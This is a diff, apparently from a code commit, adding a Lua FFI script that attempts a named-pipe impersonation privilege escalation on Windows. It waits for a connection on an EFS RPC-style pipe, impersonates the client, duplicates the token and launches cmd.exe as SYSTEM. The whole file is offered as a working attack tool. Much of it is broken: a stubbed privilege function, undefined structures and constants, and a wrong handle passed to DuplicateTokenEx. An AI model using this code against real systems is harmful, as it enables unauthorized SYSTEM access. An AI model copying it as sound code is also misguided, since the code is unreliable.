1
+ -- Load the FFI library for Windows API
2
+ local ffi = require (" ffi" )
3
+
4
+ -- include kernel32.dll
5
+ local kernel32 = ffi .load (" kernel32" )
6
+
7
+ -- Define necessary Windows API types and functions
8
+ ffi .cdef [[
9
+ typedef int BOOL;
10
+ typedef char * LPSTR;
11
+ typedef void * LPVOID;
12
+ typedef uint32_t DWORD;
13
+ typedef void * HANDLE;
14
+ typedef int32_t INT;
15
+ typedef uint32_t UINT;
16
+ typedef int64_t LARGE_INTEGER;
17
+ typedef uint32_t ULONG;
18
+ typedef uint32_t ULONG_PTR;
19
+
20
+ typedef struct {
21
+ uintptr_t Internal ;
22
+ uintptr_t InternalHigh ;
23
+ union {
24
+ struct {
25
+ uint32_t Offset ;
26
+ uint32_t OffsetHigh ;
27
+ } DUMMYSTRUCTNAME ;
28
+ void * Pointer ;
29
+ } DUMMYUNIONNAME ;
30
+ HANDLE hEvent ;
31
+ } OVERLAPPED;
32
+
33
+ HANDLE CreateNamedPipeA (
34
+ LPSTR lpName ,
35
+ DWORD dwOpenMode ,
36
+ DWORD dwPipeMode ,
37
+ DWORD nMaxInstances ,
38
+ DWORD nOutBufferSize ,
39
+ DWORD nInBufferSize ,
40
+ DWORD nDefaultTimeOut ,
41
+ LPVOID lpSecurityAttributes
42
+ );
43
+ BOOL ConnectNamedPipe (HANDLE hNamedPipe , LPVOID lpOverlapped );
44
+ DWORD GetLastError ();
45
+ BOOL ImpersonateNamedPipeClient (HANDLE hNamedPipe );
46
+ BOOL CloseHandle (HANDLE hObject );
47
+ INT DuplicateTokenEx (HANDLE hToken , DWORD dwDesiredAccess , LPVOID lpTokenAttributes , INT ImpersonationLevel , INT TokenType , LPVOID phNewToken );
48
+ HANDLE GetCurrentProcess ();
49
+ ULONG WaitForSingleObject (HANDLE hHandle , ULONG dwMilliseconds );
50
+ DWORD CreateProcessWithTokenW (HANDLE hToken , DWORD dwLogonFlags , LPSTR lpApplicationName , LPSTR lpCommandLine , DWORD dwCreationFlags , LPVOID lpEnvironment , LPSTR lpCurrentDirectory , LPVOID lpStartupInfo , LPVOID lpProcessInformation );
51
+ DWORD NtSetInformationToken (HANDLE TokenHandle , INT TokenInformationClass , LPVOID TokenInformation , DWORD TokenInformationLength );
52
+ HANDLE CreateEventA (void * , int , int , const char * );
53
+ int SetEvent (HANDLE );
54
+ ]]
55
+
56
+ -- Constants and variables
57
+ local PIPE_ACCESS_DUPLEX = 0x00000003
58
+ local PIPE_TYPE_BYTE = 0x00000000
59
+ local PIPE_READMODE_BYTE = 0x00000000
60
+ local NMPWAIT_USE_DEFAULT_WAIT = 0x00000000
61
+ local FILE_FLAG_OVERLAPPED = 0x40000000
62
+ local TOKEN_ASSIGN_PRIMARY = 0x0001
63
+ local TOKEN_DUPLICATE = 0x0002
64
+ local GENERIC_ALL = 0x10000000
65
+ local CREATE_NEW_CONSOLE = 0x00000010
66
+ local EVENT_ALL_ACCESS = 0x1F0003
67
+ local CREATE_EVENT_MANUAL_RESET = 0x0001
68
+ local CREATE_EVENT_INITIAL_STATE = 0x0002
69
+
70
+ -- endpoint pipe name
71
+ local endpointPipeName = " efsrpc"
72
+
73
+ -- Convert endpointPipeName to a char pointer
74
+ local userPipeName = ffi .new (" char[?]" , # endpointPipeName + 1 )
75
+ ffi .copy (userPipeName , endpointPipeName )
76
+
77
+ -- Function to create a new named pipe
78
+ local function createNamedPipe (pipeName )
79
+ local hPipe = ffi .C .CreateNamedPipeA (
80
+ ffi .cast (" LPSTR" , pipeName ), -- Use ffi.cast to convert Lua string to LPSTR
81
+ PIPE_ACCESS_DUPLEX ,
82
+ PIPE_TYPE_BYTE ,
83
+ 1 , -- Max instances
84
+ 0 , -- Out buffer size
85
+ 0 , -- In buffer size
86
+ NMPWAIT_USE_DEFAULT_WAIT ,
87
+ nil
88
+ )
89
+ if hPipe == ffi .cast (" HANDLE" , ffi .cast (" uintptr_t" , - 1 )) then
90
+ local error = ffi .C .GetLastError ()
91
+ print (" [-] Failed to create named pipe" )
92
+ print (" |-> Error: " .. error )
93
+ return nil
94
+ else
95
+ print (" [+] Named pipe is created successfully." )
96
+ print (" [*] Path : " .. pipeName ) -- Use the 'pipeName' argument instead of the char pointer
97
+ end
98
+ return hPipe
99
+ end
100
+
101
+ -- Create userPipeName
102
+ local hPipe = createNamedPipe (userPipeName ) -- Pass the char pointer
103
+
104
+ -- default options
105
+ local sessionId = 0
106
+ local interactive = true
107
+
108
+ -- Function to enable token privileges (You need to implement this function)
109
+ local function enableTokenPrivileges ()
110
+ -- Implement this function using the C APIs
111
+ -- You will need to retrieve the current process token, adjust privileges, etc.
112
+ return true ;
113
+ end
114
+
115
+ -- Function to check if an element is in a table
116
+ local function contains (table , element )
117
+ for _ , value in ipairs (table ) do
118
+ if value == element then
119
+ return true
120
+ end
121
+ end
122
+ return false
123
+ end
124
+
125
+ -- Function to connect named pipe
126
+ local function connectNamedPipe (hPipe )
127
+ local overlapped = ffi .new (" OVERLAPPED" )
128
+ overlapped .hEvent = ffi .C .CreateEventA (nil , true , false , nil )
129
+ if not ffi .C .ConnectNamedPipe (hPipe , overlapped ) then
130
+ local error = ffi .C .GetLastError ()
131
+ if error ~= ERROR_IO_PENDING then
132
+ print (" [-] Failed to connect named pipe" )
133
+ print (" |-> Error: " .. error )
134
+ ffi .C .CloseHandle (overlapped .hEvent )
135
+ return false
136
+ end
137
+ end
138
+ print (" [+] Waiting for named pipe connection." )
139
+ ffi .C .WaitForSingleObject (overlapped .hEvent , - Globals .Timeout * 10000 )
140
+ ffi .C .CloseHandle (overlapped .hEvent )
141
+ print (" [+] Got named pipe connection." )
142
+ return true
143
+ end
144
+
145
+ -- Function to impersonate named pipe client
146
+ local function impersonateNamedPipeClient (hPipe )
147
+ if not ffi .C .ImpersonateNamedPipeClient (hPipe ) then
148
+ local error = ffi .C .GetLastError ()
149
+ print (" [-] Failed to named pipe impersonation." )
150
+ print (" |-> Error: " .. error )
151
+ return false
152
+ else
153
+ local sid = ffi .new (" char[?]" , 256 ) -- Adjust the size as needed
154
+ print (" [+] Named pipe impersonation is successful (SID: " .. ffi .string (sid ) .. " )." )
155
+ ffi .C .CloseHandle (hPipe )
156
+ hPipe = ffi .cast (" HANDLE" , ffi .cast (" uintptr_t" , - 1 )) -- Corrected the error in this line
157
+ return true
158
+ end
159
+ end
160
+
161
+ -- Function to duplicate the current token
162
+ local function duplicateCurrentToken ()
163
+ local hToken = ffi .new (" HANDLE[1]" )
164
+ if ffi .C .DuplicateTokenEx (ffi .C .GetCurrentProcess (), TOKEN_ASSIGN_PRIMARY + TOKEN_DUPLICATE , nil , 2 , 1 , hToken ) == 0 then
165
+ local error = ffi .C .GetLastError ()
166
+ print (" [-] Failed to duplicate the current token." )
167
+ print (" |-> Error: " .. error )
168
+ return nil
169
+ end
170
+ return hToken [0 ]
171
+ end
172
+
173
+ -- Function to create a process with a token
174
+ local function createProcessWithToken (hToken , command , startupInfo , processInformation )
175
+ if ffi .C .CreateProcessWithTokenW (
176
+ hToken ,
177
+ 0 ,
178
+ nil ,
179
+ command ,
180
+ CREATE_NEW_CONSOLE ,
181
+ nil ,
182
+ nil ,
183
+ startupInfo ,
184
+ processInformation
185
+ ) == 0 then
186
+ local error = ffi .C .GetLastError ()
187
+ print (" [-] Failed to spawn SYSTEM process." )
188
+ print (" |-> Error: " .. error )
189
+ return false
190
+ else
191
+ print (" [+] SYSTEM process is executed successfully (PID = " .. processInformation .dwProcessId .. " )." )
192
+ return true
193
+ end
194
+ end
195
+
196
+ -- Entry point for the GetSystem function
197
+ local function GetSystem (command , endpointPipeName , sessionId , interactive )
198
+ -- Check if the endpoint pipe name is valid
199
+ local validEndpoints = {" efsrpc" , " lsarpc" , " lsass" , " netlogon" , " samr" }
200
+ if not contains (validEndpoints , endpointPipeName :lower ()) then
201
+ print (" [-] Invalid endpoint pipe name is specified." )
202
+ return false
203
+ else
204
+ endpointPipeName = endpointPipeName :lower ()
205
+ end
206
+
207
+ -- Check if both sessionId and interactive flags are specified
208
+ if sessionId > 0 and interactive then
209
+ print (" [!] Session ID and interactive mode flag must not be specified at once." )
210
+ return false
211
+ end
212
+
213
+ -- Enable necessary token privileges (You need to implement this function)
214
+ if not enableTokenPrivileges () then
215
+ return false
216
+ end
217
+
218
+ local pipeName = string.format (" \\\\ .\\ pipe\\ %s\\ pipe\\ srvsvc" , ffi .string (userPipeName ))
219
+ local hPipe = createNamedPipe (pipeName )
220
+
221
+ if hPipe then
222
+ if connectNamedPipe (hPipe ) then
223
+ if impersonateNamedPipeClient (hPipe ) then
224
+ local hDupToken = duplicateCurrentToken ()
225
+
226
+ if interactive then
227
+ local startupInfo = ffi .new (" STARTUPINFO" )
228
+ startupInfo .cb = ffi .sizeof (" STARTUPINFO" )
229
+ local processInformation = ffi .new (" PROCESS_INFORMATION" )
230
+ if not createProcessWithToken (hDupToken , command , startupInfo , processInformation ) then
231
+ -- Handle the error
232
+ end
233
+ else
234
+ if sessionId > 0 then
235
+ -- Adjust session ID
236
+ local pInfoBuffer = ffi .new (" int32_t[1]" , sessionId )
237
+ if ffi .C .NtSetInformationToken (hDupToken , 22 , pInfoBuffer , 4 ) ~= 0 then
238
+ print (" [-] Failed to adjust session ID." )
239
+ -- Handle the error
240
+ end
241
+ end
242
+
243
+ local startupInfo = ffi .new (" STARTUPINFO" )
244
+ startupInfo .cb = ffi .sizeof (" STARTUPINFO" )
245
+ local processInformation = ffi .new (" PROCESS_INFORMATION" )
246
+ if not createProcessWithToken (hDupToken , command , startupInfo , processInformation ) then
247
+ -- Handle the error
248
+ end
249
+ end
250
+
251
+ ffi .C .CloseHandle (hDupToken )
252
+ end
253
+ end
254
+ end
255
+
256
+ if hPipe then
257
+ ffi .C .CloseHandle (hPipe )
258
+ end
259
+
260
+ print (" [*] Done." )
261
+ end
262
+
263
+ -- Call the GetSystem function
264
+ GetSystem (" cmd.exe" , " efsrpc" , 0 , true )
0 commit comments